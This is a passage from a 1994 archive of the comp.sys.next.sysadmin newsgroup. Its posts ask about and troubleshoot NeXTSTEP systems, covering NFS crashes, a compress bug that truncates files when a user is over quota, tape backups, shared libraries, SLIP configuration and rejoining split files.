very annoying, voice message saying that the printer
is jammed (yes I dismissed the message window that
accompanies the voice message). The only way I can
seem to get the thing logocally unjammed is to reboot the
system. Is there another way?
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Donald F. Bora | | |
The Institute for the Learning Sciences | | O |
Northwestern University | (--|--)
Evanston, Ill | |
e-mail: dbora@ils.nwu.edu (Not NeXTMail) | / \
work: (708) 467-1972 |
--------Be excellent to each other--------
From: mcquill@next.duq.edu (Tod McQuillin)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Power on self test error
Date: 27 Apr 1994 16:33:41 -0400
Organization: Duquesne University, Pittsburgh, PA USA
Message-ID: <2pmi75$v4@keen.ccit.duq.edu>
My NeXTStation Turbo recently started exhibiting some strange
behaviour. During the power-on self tests, this message pops up:
System test failed, error code: e2
After this, the system boots as usual, but about half of the time,
hundreds of lines of this show up:
enrx: no network buffers
and the system hangs. On those occasions when it does boot, it
usually panics sometime between 5 minutes and 5 hours after booting.
Other times, it hangs, with the symptom being that all network
communication just stops.
Anyone seen this before? Is it a bad ethernet controller? Any clues
will be accepted gratefully.
--
Tod McQuillin
Duquesne University
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ?Disk Quotas
Date: 27 Apr 1994 15:38:01 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <940427213523.373AACUt.malc@jeeves>
Here's a warning from our system administrator which may be of interest
to those of you enforcing quotas. The basic message -- use compress with
care if you are over your hard quota!
I'd be interested to hear of any fixes for this.
Have fun,
Malcolm.
Date: Fri, 11 Jun 93 14:42:09 BST
From: Dave Mitchell <D.Mitchell>
To: next-managers
Subject: dangers of compression
Here is an IMPORTANT warning to anyone who uses the UNIX compress utility
(either directly, or via the NeXT Workspace manager etc):
The compress command has a bug in it, that causes it to truncate files
to zero length if you are over quota, and the disk is non-local.
i.e., given a file f, "compress f" does the following:
it creates a new file f.Z. It then tries to write data to it. This fails
because you are over quota, so f.Z remains zero-length. compress fails to
notice this error (due to arcane reasons involving delayed writes over
NFS), and happily goes ahead and deletes the original file f.
This bug seems to be present on all versions of SunOS and NEXTSTEP within
the department.
So, be VERY careful when compressing files while over quota.
Dave.
Newsgroups: comp.sys.next.sysadmin
From: peter@corsica (Peter Eisch)
Subject: Re: HELP! - INTERNET CONNECTION
Message-ID: <Coxqsn.9Gw@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services
References: <1994Apr26.102442.17535@umiami.ir.miami.edu>
Date: Wed, 27 Apr 1994 20:44:03 GMT
therbert@umiami.ir.miami.edu wrote:
:
: *********** 1 ************
: All machines including the server always boot up with
:
: -------------------------------------------------------------------
: Apr 25 09:36:18 orchid8 mach: duplicate IP address!! sent from ethernet
: address: aa:00:04:00:e9:0c
: -------------------------------------------------------------------
:
: Our computer center wants to know what the duplicate IP address is -
: How can I determine that?
It's a Cisco product, maybe a router? For some reason a port on your
router/bridge is configured to have the same IP address. My $.02 is that
the routing table on it is whacked and in need of some $300/hour
consulting, OR the person that's responsible for maintaining the Cisco
should re-read how to configure the router. (Either that or all your
hosts have the same IP and it's always the Cisco that replies first --
probably not though.) The MAC address aa:0:4 is a Cisco MAC.
:
: *********** 2 ************
: Often, rebooting of clients (not the server) sees them hang or delay:
: -------------------------------------------------------------------
: Apr 25 09:55:11 orchid8 autonfsmount: darwin:/ server not responding:
: RPC: Timed out
: -------------------------------------------------------------------
Chances are that 1 & 2 are related.
: Additional points:
: 1) Often there are delays of a couple to many seconds in accessing the
: server from the clients, especially, it seems, when I have had a lot of
: reboot problems.
: 2) I do not see any of these reboot problems or the server access delays
: if I disconnect the local network of 16 NeXTstep machines from the
: outside world and reboot.
Hmmm... maybe it's the router.
: 3) I have carefully checked router address, nameserver config
: (resolv.conf), etc. and everything seems to work properly (except for
: file access delays) once the machines are booted up - mail, ftp, telnet,
: rusers, etc, etc.
How have you checked the router's address. On my routers I can configure
any port on it to have as many IP's as I want. This can be somewhat
misleading if you're using the Cisco to bridge two LANs. It seems like you
want to enter all the IPs of the hosts that will be on either side of the
router, but this is incorrect. Each port should probably only be assigned
one IP.
You network admin folks should be able to track this down pretty quickly
with a network management console looking at the Cisco settings.
peter
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Newsgroups: comp.sys.next.sysadmin
From: faust@elvis.ee.ucla.edu (William P. Faust)
Subject: NFS related problem causing crashes
Sender: news@seas.ucla.edu (News Daemon)
Message-ID: <Coxw5G.JJK@seas.ucla.edu>
Date: Wed, 27 Apr 1994 22:36:50 GMT
Organization: School of Engineering & Applied Science, UCLA.
This morning my slab is really acting up - crashing every hour or
so. I'm stymied so far but it seems to be NFS related. Any help would
be greatly appreciated. Below is some diagnostic info. So what
is this "enrx: no network buffers" error message?
Bill Faust
faust@ampere.ee.ucla.edu
Los Angeles, California, USA
-------------------------------------------------------------------------
elvis:10# hostinfo
Mach kernel version:
NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992;
root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Kernel configured for a single processor only.
1 processor is physically available.
Processor type: MC680x0 (68040)
Processor speed: 25 MHz
Processor active: 0
System type: 1
Board revision: 0x0
Primary memory available: 20.00 megabytes.
Default processor set: 64 tasks, 99 threads, 1 processors
Load average: 0.46, Mach factor: 0.75
-------------------------------------------------------------------------
Section of /private/adm/messages:
Apr 27 10:49:42 elvis reboot: Reboot complete
Apr 27 10:49:50 elvis mach: audio kernel server initialized
Apr 27 10:50:13 elvis syslog: Workspace logged in
Apr 27 11:27:34 elvis mach: NFS server euclid not responding still trying
Apr 27 11:28:29 elvis mach: NFS server euclid not responding still trying
Apr 27 11:28:29 elvis mach: NFS server euclid ok
Apr 27 11:28:38 elvis mach: NFS server ampere not responding still trying
Apr 27 11:28:52 elvis mach: NFS server euclid not responding still trying
Apr 27 11:28:59 elvis mach: NFS server euclid ok
Apr 27 11:28:59 elvis mach: NFS server euclid ok
Apr 27 11:29:00 elvis mach: enrx: no network buffers
Apr 27 11:29:00 elvis mach: enrx: no network buffers
Apr 27 11:29:02 elvis mach: NFS server euclid not responding still trying
Apr 27 11:29:04 elvis mach: NFS server euclid not responding still trying
Apr 27 11:29:59 elvis mach: NFS server euclid ok
Apr 27 11:30:02 elvis mach: NFS server euclid not responding still trying
Apr 27 11:30:04 elvis mach: NFS server euclid not responding still trying
Apr 27 11:30:42 elvis mach: NFS server ampere ok
Apr 27 11:30:42 elvis mach: NFS server euclid ok
Apr 27 11:30:42 elvis mach: NFS server euclid ok
Apr 27 11:30:46 elvis mach: NFS server euclid not responding still trying
Apr 27 11:30:46 elvis mach: NFS server ampere not responding still trying
Apr 27 11:31:42 elvis mach: NFS server euclid not responding still trying
Apr 27 11:31:52 elvis mach: NFS server euclid ok
Apr 27 11:31:56 elvis mach: NFS server euclid not responding still trying
Apr 27 11:31:56 elvis timed[140]: acksend: sendto: No buffer space
available
Apr 27 11:33:06 elvis mach: NFS server euclid ok
Apr 27 11:33:09 elvis mach: NFS server euclid not responding still trying
Apr 27 11:36:05 elvis mach: NFS server euclid ok
Apr 27 11:36:06 elvis mach: NFS server ampere ok
Apr 27 11:36:06 elvis mach: NFS server euclid ok
Apr 27 11:36:06 elvis mach: NFS server euclid ok
Apr 27 11:36:07 elvis syslogd: going down on signal 15
Apr 27 11:42:44 elvis mach: Killing all processes NFS server euclid not
responding still trying
Apr 27 11:42:44 elvis mach: NFS server euclid not responding still trying
Apr 27 11:42:44 elvis mach: NFS server ampere not responding still trying
Apr 27 11:42:44 elvis mach: NFS server euclid not responding still trying
Apr 27 11:42:44 elvis mach: NFS server euclid not responding still trying
Apr 27 11:42:44 elvis mach: .panic: (Cpu 0) ns_abstimeout table overflow
Apr 27 11:42:44 elvis mach: NeXT ROM Monitor 2.1 v59
Apr 27 11:42:44 elvis mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT
1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M
68K
Apr 27 11:42:44 elvis mach:
Apr 27 11:42:44 elvis mach: rebooting Mach...
From: kay@nagasena.tynet.sub.org (Kay Schulz)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: CD-ROM player problem - help is needed (desparately)
Date: 27 Apr 1994 12:53:23 +0200
Organization: Firestone Chaotic Group
Message-ID: <2plg73$1bd@nagasena.tynet.sub.org>
References: <2omm7t$bcp@math.mps.ohio-state.edu> <2ooafs$42j@steffi.demon.co.uk> <2pd0u3$524@debbie.cc.nctu.edu.tw>
*** Mark Lin *** (u7913108@cc.nctu.edu.tw) wrote:
> : A number of things come to mind. Are you using Intel? If so I _don't
> : think_ CDPlayer works with Intel..
> : Also, you don't say exactly when you insert the disc... You should
> : only be inserting the disk when the Panel pops up after CDPlayer.app
> : is running. (This assumes you _are_ on Motorolla because I believe
> : CDPlayer.app only works on Motorolla)
> CDPlayer.app works fine with my Intel machine ...
For me it worked fine under NSI 3.2
I used a Toshiba 3401 and I could use it with PhotCDs, Audio CDs and
normal CDs.
No
You can insert the CD and then start CDPLAYER.APP and it will work
KAY
kschulz@ba-stuttgart.de
Newsgroups: comp.sys.next.sysadmin
Subject: NFS error: getattr failed
Message-ID: <27APR199417315181@eisner.decus.org>
From: bick@eisner.decus.org (Dan Bick)
Date: 27 Apr 1994 17:31 -0400
Distribution: world
Organization: DECUServe
News-Software: VAX/VMS VNEWS 1.4-b1
I am getting an error on a machine when it boots and
attempts to mount another nextstation's directory.
The error is:
NFS getattr failed for server america: RPC: Authentication error
The directory is exported on the server america to the named
client slab as read only. Everything looks normal on NFSmanager.
Both stations are running 3.2 on 040 black stations.
Any ideas, or further debugging thoughts would be
great.
thanks, Dan
Newsgroups: comp.sys.next.sysadmin
From: caro@adobe.com (Perry A. Caro)
Subject: dump O with tape (WAS: Wangtek 5525ES Tapes)
Message-ID: <1994Apr28.015259.10131@adobe.com>
Sender: caro@mv.us.adobe.com
Organization: Adobe Systems Incorporated
References: <Vaw5kc1w165w@mindvox.phantom.com>
Date: Thu, 28 Apr 1994 01:52:59 GMT
In article <Vaw5kc1w165w@mindvox.phantom.com> redmond@mindvox.phantom.com (David Redmond) writes:
>
>dump 0Of 525 /dev/nrst0 /
>
Does this work reliably? Can you really use the MO disk option to
specify tape capacity in convenient megabytes, rather than inconvenient
feet and magnetic domains per inch, or whatever the density argument
takes?
Does the "525" in DC6525 stand for decimal megabytes (10^6) or *real*
megabytes (2^20)? Which does the O option for dump want?
Perry
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Newsgroups: comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: Re: UUCP using myname or alias
Message-ID: <1994Apr27.225138.511@stone.com>
Keywords: taylor
Sender: andrew@stone.com
Organization: Stone Design Corp
References: <1994Apr27.082120.9643@uriela.in-berlin.de>
Date: Wed, 27 Apr 1994 22:51:38 GMT
In article <1994Apr27.082120.9643@uriela.in-berlin.de>
perstoro@uriela.in-berlin.de (Wilhelm Schaefer) writes:
> In article <2pk76c$ld4@rosie.next.com> grio@next.com (Dan Grillo)
writes:
> #
> #alby@uunet.uu.net writes in comp.sys.next.sysadmin:
> #> Does anyone know what command is entered in what file
> #> for UUCP to give your system an alias.
> #>
> #
> #put the alias name in /etc/uucp/UUCPNAME
> #
> #For example, if `hostname` is "quake", `uuname -l` is "last",
> #/etc/uucp/UUCPNAME contains "last".
> #
> May I have different names for polling different sites?
>
Taylor UUCP, uucp-1.04.tar.gz, allows you to have different names for
different sites.
andrew
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From: Nicole A Vincent <nicolev@number_one.apana.org.au>
Subject: Automatic power-up after power failuer
Message-ID: <Coy7w1.4qK@number_one.apana.org.au>
Sender: nicolek@number_one.apana.org.au (Nikki A Vincent)
Organization: Cafe de Strachan - the Virtual NeXTSTEP Cafe Downunder.
Date: Thu, 28 Apr 1994 02:50:24 GMT
Hi
Accroding to the Online Documentation, some NeXTSTEP machines are capable
of switching themselves back on after a power failure,... Supposedly this
is supported through the Preferences.app Power menu,....
So which machines are supported? I have a NeXTSTATION Mono Pre-Turbo,...
is there a way for me to do this?
Cheers
Nicole
From: jeff@motorrad.Berkeley.EDU (Jeff Louie)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: IDE problem
Date: 28 Apr 1994 06:11:26 GMT
Organization: University of California, Berkeley
Message-ID: <2pnk2e$9u5@agate.berkeley.edu>
I'm trying to set up NextStep 3.2 to run on a 486 machine, but am having
problems with it. The machine has a 540MB IDE drive, and the CD ROM drive
is hooked up to an Adaptec 1542C SCSI controller.
It gets to as far as formatting/partitioning the disk, but while it is
laying out the basic boot files, it comes up with the following
error message about 30% of the way through:
Ide: ideFlushIntMsgs:StrayInterrupt :ideWriteMultiple
Ide:softResetIde diagError = 0x1
IDE Drive 0 using MultiSector Mode
This message is repeated 2 or 3 times with slight changes, but usually
when it's about done with loading the boot files.
Later, as it is trying to boot up with what it has, it comes up only
in read-only mode, and doesn't get much further than the initial settings
panel.
Does anyone know what the error message is trying to tell me? It there
a possible conflict with the IDE controller and the SCSI controller? Or
is the disk drive suspect?
Any advice would be greatly appreciated.
Jeff Louie
(jeff@ieor-next1.Berkeley.EDU) <-- please reply to this address
UC Berkeley-IEOR
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: Wangtek 5525ES Tapes
Message-ID: <1994Apr28.131757.16708@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <CouCpn.302@belly.in-berlin.de>
Date: Thu, 28 Apr 1994 13:17:57 GMT
In article <CouCpn.302@belly.in-berlin.de> kiwi@belly.in-berlin.de (Axel Habermann) writes:
[...]
> Compile this program in two versions. You will need blocksize =
> 512 for 150 MB Tapes and blocksize = 1024 for 525 MB Tapes (I never
> tried 250 MB). Run the program _before_ inserting the tape.
>
[...]
This is not true in general. I use my
ARCHIVE VIPER 2525 25462 Rev as st0 at sc0 target 4 lun 0,
which is a 525 MB QIC drive,
without any trouble with fixed blocksize of 512 B.
Maybe any other drive will need 1024 B, but not all.
Matthias
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email: matthias@macnet.wsi.physik.tu-muenchen.de
Newsgroups: comp.sys.next.sysadmin
From: karl@trapac.com (Karl Kraft)
Subject: Re: Test your SysAdmin skills - can you fix this problem ?
Message-ID: <CoxuoF.4E5@trapac.com>
Sender: karl@trapac.com (Karl Kraft)
Organization: Trans Pacific Container Service Corporation
References: <2plvit$ge3@transfer.stratus.com>
Date: Wed, 27 Apr 1994 22:05:02 GMT
In article <2plvit$ge3@transfer.stratus.com> cdodson@beast.cac.stratus.com (R. Craig Dodson)
writes:
> Hi Next-admins,
>
> it would return the "cannot
> excecute" message for any command except "cd" and "ls".
>
cd is not a command. ls is a command. ls is different from just about everyother command in
bin, in that it does not use the shared libraries. The other programs in bin that don't use
the shlibs are otool,sh, cp, ebadexec, and mv. If you can run any of those, but nothing
else, you probably have munged your shlibs. (and most important is libsys_s)
Shlibs are located in /usr/shlib. You should have the following:
-rwxr-xr-x 1 root 508400 Oct 19 1993 libIndexing_s.A.shlib*
-rwxr-xr-x 1 root 68320 Sep 27 1993 libInterceptor_s.A.shlib*
-rwxr-xr-x 1 root 452000 Aug 27 1993 libMedia_s.A.shlib*
-rwxr-xr-x 1 root 2213092 Sep 2 1993 libNeXT_s.C.shlib*
-rwxr-xr-x 1 root 64596 Sep 28 1993 libVPC_s.A.shlib*
-r-xr-xr-x 1 root 385032 Sep 1 1993 libdbkit_s.A.shlib*
-rwxr-xr-x 1 root 75248 Aug 19 1993 libni_s.A.shlib*
-r-xr-xr-x 1 root 201448 Aug 24 1993 libnw_s.A.shlib*
-r-xr-xr-x 1 root 1012100 Sep 1 1993 libsys_s.B.shlib*
You should sum them if possible (can't use sum on the broken machine though as that requires
libsys_s)
Here are the appropriate sums for Intel 3.2
56314 497 libIndexing_s.A.shlib
61433 67 libInterceptor_s.A.shlib
19207 442 libMedia_s.A.shlib
54644 2162 libNeXT_s.C.shlib
51518 64 libVPC_s.A.shlib
41368 377 libdbkit_s.A.shlib
41756 74 libni_s.A.shlib
33060 197 libnw_s.A.shlib
18310 989 libsys_s.B.shlib
The last time I saw a machine with broken shlibs was when someone thought that they were
developer library crud, and not required. Can't remeber what type of error message they got.
--
Karl Kraft
Karl_Kraft@trapac.com
Karl_Kraft@ensuing.com
[My opinions are my own]
From: wilkie@cslab.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.sysadmin
Subject: Disk maintenance
Date: 28 Apr 1994 08:59:31 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2pnttj$2al@email.tuwien.ac.at>
2 questions:
a) Is it okay, that after 5 months of usage without major system crashes
some (say 1 or 2) files are corrupted? Is this normal, or is my HDD
missing a beat?
b)Is there a way to reduce fragmentation with BSD 4.3, i.e. is there
something like DEFRAG? Does fsck help?
Thanks in advance
Alexander Wilkie
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From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: How do I reunite split(1) files?
Date: 28 Apr 1994 12:13:57 GMT
Organization: University of Maryland, College Park
Message-ID: <2po9a5$fgt@cville-srv.wam.umd.edu>
Hi,
Since Next's .chunk file extensions rarely work (see
Don Yacktman's informative post in c.s.n.software) I
want to use the split command from the terminal to divide
a .gz file into pieces. But hos to reunite them?
Thanks
RKD
From: sbrandon@ccu1.auckland.ac.nz (steve brandon)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP connection with dynamic IP address allocation
Date: 28 Apr 1994 12:22:05 GMT
Organization: University of Auckland
Message-ID: <2po9pd$mbq@ccu2.auckland.ac.nz>
Keywords: SLIP, IP address, NeXT
I would appreciate some help with this problem.
My university in its infinite wisdom is not offering UUCP connection
although it has the capability. SLIP connection is offered however.
I have ftp'd the Mamakos SLIP package and installed it as best I can.
The problem is that because all users apart from myself(!!) are using
macs or PC's, the IP addresses are allocated dynamically on dial-in.
That is, to invoke SLIP, at the prompt you type:
SLIP DEFAULT
... and it coughs up an arbitrary IP address for you to use.
For me on my NeXTCUBE I understand that the IP address is something
a little more integral to my machine - I can change it with one of
the SysAdmin apps, then have to reboot for it to take effect.
So, what do I do? For SLIP to work as intended, I have to specify the
IP address of my machine in one of the config files which I think
gets read at boot time - long before I ever dial in. Is there any way
to inform the system of "my new IP address" at the very late stage of
dial-in?
At the moment I'm using a clever wee kermit script to retrieve my
mail and put it into /usr/spool/mail/me , but I can't use NeXTmail to
mail out. I'm hoping SLIP will be able to fix this ... could someone
also give me pointers on how to reconfigure sendmail for SLIP rather
than UUCP transfer?
Many thanks,
Steve
steve.brandon@ccu1.auckland.ac.nz
From: asarti@nefeli.eecs.berkeley.edu (Augusto Sarti)
Newsgroups: comp.sys.next.sysadmin
Subject: NEXTStep 3.2 video driver problem for CompaQ PROlinea 4/66
Date: 28 Apr 1994 13:02:42 GMT
Organization: U.C. Berkeley -- ERL
Sender: Augusto Sarti (sarti@elet.polimi.it)
Distribution: world
Message-ID: <2poc5i$dr0@agate.berkeley.edu>
References: <2pnttj$2al@email.tuwien.ac.at>
Hi all,
I'm using NEXTStep 3.2 on my CompaQ ProLinea 4/66 computer. Such a
computer has an on-board video controller based on Tseng Labs 4000
micro processor, and NEXTStep does not have any video driver which is
capable of exploiting in full such video adapter. In fact, by using
the only driver for Tseng Labs ET4000 I can't display colors on my
monitor.
Does any of you know whether the right driver for my video adapter is
available anywhere, or whethere there is anything that could improve
the situation (at present I can see 800 x 600 pixels with 256 grey
level and NO color, while the video adapter and the monitor can
visualize 1024 x 768 pixels, with color)?
If yes, is there an FTP site where I can get a better driver (so that
I can bypass the customer service which in Italy is VERY SLOW)?
I would greatly appreciate any help. Pleas respond, if possible,
directly to one my email addresses:
asarti@robotics.eecs.berkeley.edu
sarti@elet.polimi.it
asarti@elena.dei.unipd.it
Thank you very much
Augusto Sarti
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: How to divide large .gz file?
Date: 28 Apr 1994 14:42:51 GMT
Organization: University of Maryland, College Park
Message-ID: <2poi1b$i64@cville-srv.wam.umd.edu>
Hi,
for reasons I won't go into here, NS's .chunk extension
(used when copying a 5MB file to various 1.44MB disks, for
ex.) does NOT work. So, what do I use to copy a large .gz
file to disks? I'm on Intel, so no BreakUp app. Split seems
merely to divide the file into small text files that cannot be
recombined.
Thanks
Robert de Lucca
Johns Hopkins
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: HP35480 DAT Drive
Date: 28 Apr 1994 15:25:40 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2pokhl$mpv@news.mic.ucla.edu>
I just purchased an HP35480 DDS-DC drive. I tried to write random numbers
to a 90m tape, and got a capacity of 1,632MB (1.7 if I count M as
millions). I have compression enabled, but due to the random nature of the
data, this should not matter much.
I thought these drives could hold 3MB uncompressed. By my calculations,
even on a 120m tape, this will only be about 2GB. Are there any other tape
drives that do better?
Also, the effective speed is rather disappointing. I started this effort
at 14:44:32, and it ended at 17:48:02---3 hours later. The Unix time
command reports: 11093.8 real 439.6 user 363.5 sys.
I also thought these were faster drives. Again, are there better drives?
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
From: hvillega@roxette (Hugo Villegas Roji)
Newsgroups: comp.sys.next.sysadmin
Subject: Agfa-NeXT via ethernet?
Date: 28 Apr 1994 14:59:58 GMT
Organization: ITESM, Campus Monterrey
Message-ID: <2poj1e$1cr1@mtecv2.mty.itesm.mx>
Hi!
I istalled NeXTSTEP 3.2 in our server and we found the PrintManager does
not have the possibility to conect and Agfa Accuset imagesetter via Ethernet wi
th apple share protocols. With 3.0 it was working well but I can't install 3.0 a
gain. Anybody out there knows how can I conect this imagesetter to our NeXT comp
uters net?
I'll apreciate any help
Thank you in advance
.................................................................
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.
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Valle de Santa Engracia / Garza Garcia / Nuevo Leon / Mexico .
tels. 52 (8) 335 19 14 / 335 19 15 / 335 08 87 / 356 30 53 fax .
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From: levine@oclc.org (Eugene Levine)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Inetd problem in NSI 3.1?
Date: 28 Apr 1994 11:45:15 -0400
Organization: OCLC Online Computer Library Center, Inc.
Message-ID: <2polmb$qt0@oclc.org>
I am having trouble getting inetd under NSI 3.1 to recognize my server
program. Mind you this same program, a fat binary compiled on the Intel
3.1 machine (it doesn't work on), works on my block box running 3.2 (via
inetd). Some details: The first thing that the server does is to open the
console and and write a message to it. This never happens on the Intel but
does on the black box. If I run the server from the command line this
message does get written to the console on both platforms. I triple
checked the config info and all seems to be in order.
I also used this server under 3.0. Our black next's went from 3.0 to 3.2.
Is there some problem with 3.1's inetd?
thanks,
-gene
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Newsgroups: comp.sys.next.sysadmin
From: lamb@eqt.ch (Alexander Lamb)
Subject: Backing up on an EXABYTE tape
Message-ID: <Coz7tK.Bos@eunet.ch>
Sender: usenet@eunet.ch (News Administrator)
Organization: EUnet Switzerland
Date: Thu, 28 Apr 1994 15:46:32 GMT
Following my post on how to backup on a NS Intel using an Exabyte, thank
you to all of you who replied directly : Kelly Wittmeyer, Sean A Varah,
Tim Spencer.
The answer was : on NeXT hardware, no problem, only use /dev/nrxt0 (this I
knew) BUT ON INTEL, you need to install a driver using the Configure.app
(other, SCSI tape). I don't know why, but it works now !
Thanks
Alexander Lamb
Expert Quantitative Trading
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How do I reunite split(1) files?
Date: 28 Apr 1994 12:05:40 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <940428175227.4578AACUa.malc@jeeves>
Somebody pretending to be L. Anathea Brooks (gaia@wam.umd.edu) wrote: :-)
: Since Next's .chunk file extensions rarely work (see
: Don Yacktman's informative post in c.s.n.software) I
: want to use the split command from the terminal to divide
: a .gz file into pieces. But hos to reunite them?
:
cat file* > file.gz
I *think* it's better to uuencode the file before splitting it though, so:
uuencode file.gz file.gz > file.gz.uue
split file.gz.uue file.gz.uue_
gives lots of files of the form
file.gz.uue_aa, file.gz.uue_ab, file.gz.uue_ac...
To recombine the files:
cat file.gz.uue_?? | uudecode
gives you back
file.gz
Have fun,
mmalcolm.
From: klund@haas.berkeley.edu (Kyle Lundstedt)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: NSFIP Error - unexpected resend from keyboard
Date: 28 Apr 1994 17:09:38 GMT
Organization: University of California, Berkeley
Message-ID: <2poqki$h7l@agate.berkeley.edu>
I am installing NSFIP on an Everex 486/33. When the startup program
prompts for typing 1 to install NEXTSTEP or 2 to quit, the machine
crashes.
Does anyone know what might cause such a crash?
--
Kyle Lundstedt
Haas School of Business, U.C. Berkeley
klund@haas.berkeley.edu
From: lestat@cs.utexas.edu (Faizel Dakri)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP connection with dynamic IP address allocation
Date: 28 Apr 1994 17:57:38 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <2potej$4iu@geraldo.cc.utexas.edu>
References: <2po9pd$mbq@ccu2.auckland.ac.nz>
In article <2po9pd$mbq@ccu2.auckland.ac.nz> sbrandon@ccu1.auckland.ac.nz
(steve brandon) writes:
[munch]
> So, what do I do? For SLIP to work as intended, I have to specify the
> IP address of my machine in one of the config files which I think
> gets read at boot time - long before I ever dial in. Is there any way
> to inform the system of "my new IP address" at the very late stage of
> dial-in?
>
> At the moment I'm using a clever wee kermit script to retrieve my
> mail and put it into /usr/spool/mail/me , but I can't use NeXTmail to
> mail out. I'm hoping SLIP will be able to fix this ... could someone
> also give me pointers on how to reconfigure sendmail for SLIP rather
> than UUCP transfer?
>
> Many thanks,
>
> Steve
>
> steve.brandon@ccu1.auckland.ac.nz
You need to configure your login script to parse your IP address that is
returned from your SLIP server. Personally, I just made changes to the
login-unix.tcl script so that it would work for my telesys account here at
UT Austin.
Essentially, I only had to add a few lines to the end:
# use regular expr based expect command to match addresses in msg
$DIALER rexpect {Your IP address is ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)}
exec /etc/ifconfig pni0 $1
syslog LOG_INFO "My IP is $1"
Hope that helps.
-Faizel
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Slabs without monitors
Date: 28 Apr 1994 15:44:56 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2pollo$n2g@quartz.ucs.ualberta.ca>
Back in the Dim Ages I recall some discussion about running slabs
without monitors. Can this be done? That is, start the machine up,
disconnect monitor while running? Does the power supply of the slab
depend on the presence of the monitor to maintain proper voltage levels?
(Reason for this: When one of my home users has something go wrong with
his slab, I would like him to bring only the slab in, then I can use
monitor and keyboard here from anohter machine.)
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Alternate monitors for colour turbo slab
Date: 28 Apr 1994 15:48:28 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2polsc$n2g@quartz.ucs.ualberta.ca>
Our color monitor (A phillips) has bit the dust.
Does someone make an adapter cable so that a next color turbo slab
can be used with a conventional workstation monitor with 3 BNC inputs?
What are the specs to look for in buying a 3rd party monitor
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.misc,de.comp.sys.next
Subject: Tool for accessing UNIX machines
Date: 28 Apr 1994 18:25:57 GMT
Organization: WHU Koblenz
Message-ID: <2pov3l$bbp@obelix.WHU-Koblenz.de>
Hello,
I think I saw some days ago a announcment for an NEXT app to access other
UNIX machines for doing such work as file copying, etc.
Unfortunatly, I can't find this announcment anymore.
Can anybody tell me if I dreamed it or if such a piece exists and where?
Thank you all in advance,
Wolfgang
--
Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173
Wolfgang Roeckelein Fax: +49 261 6509 179
WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de
Burgplatz 2 (NeXTmail ok)
D-56179 Vallendar
Germany
From: don@darth.byu.edu (Don Yacktman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How do I reunite split(1) files?
Date: 28 Apr 1994 18:05:26 GMT
Distribution: world
Message-ID: <2pott6$d8j@bones.et.byu.edu>
References: <940428175227.4578AACUa.malc@jeeves>
Malcolm Crawford writes
) Somebody pretending to be L. Anathea Brooks (gaia@wam.umd.edu)
) wrote: :-)
) : Since Next's .chunk file extensions rarely work (see
) : Don Yacktman's informative post in c.s.n.software) I
) : want to use the split command from the terminal to divide
) : a .gz file into pieces. But hos to reunite them?
) :
) cat file* > file.gz
Exactly. This works. Note that the chunks produced by split
reassemble in alphabetical order; it is important to have the
arguments to cat be in that order (which is done by the shell
with the '*'). If you mix up the order the file will be put
together in really bizarre ways after catting. :-)
) I *think* it's better to uuencode the file before splitting it
) though, so:
)
) [...]
The uuencode would be useful if you were planning on mailing
the split files. If you aren't mailing them, then I'd recommend
that you skip that step as it will increase the required storage
by about 33% (see man uuencode(1) under "BUGS"). If you are
going to email a binary file the uuencode is necessary.
As an addendum, you can use the -n option on split to control
